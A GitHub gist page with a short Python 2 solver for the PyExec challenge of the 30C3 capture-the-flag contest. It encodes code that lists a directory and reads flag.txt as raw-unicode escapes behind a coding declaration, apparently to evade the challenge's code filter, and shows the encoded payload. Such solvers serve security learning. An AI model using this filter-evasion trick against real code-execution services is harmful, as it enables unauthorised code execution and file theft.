Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
this is a solver code for the PyExec of 30C3 CTF.
#!/usr/bin/env python2
from binascii import hexlify,unhexlify
code1 = """
import os
print str(os.listdir('.'))
"""
code2 = """
f = open('./flag.txt', 'r')
print f.read()
"""
toRawUnicode = lambda x: '\u00'+hexlify(x)
data1 = "".join(map(toRawUnicode, list(code1)))
data2 = "".join(map(toRawUnicode, list(code2)))
print "# coding:raw_unicode_escape"
#print data1
print data2
# VVV output VVV
"""
# coding:raw_unicode_escape
\u000a\u0066\u0020\u003d\u0020\u006f\u0070\u0065\u006e\u0028\u0027\u002e\u002f\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074\u0027\u002c\u0020\u0027\u0072\u0027\u0029\u000a\u0070\u0072\u0069\u006e\u0074\u0020\u0066\u002e\u0072\u0065\u0061\u0064\u0028\u0029\u000a
"""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.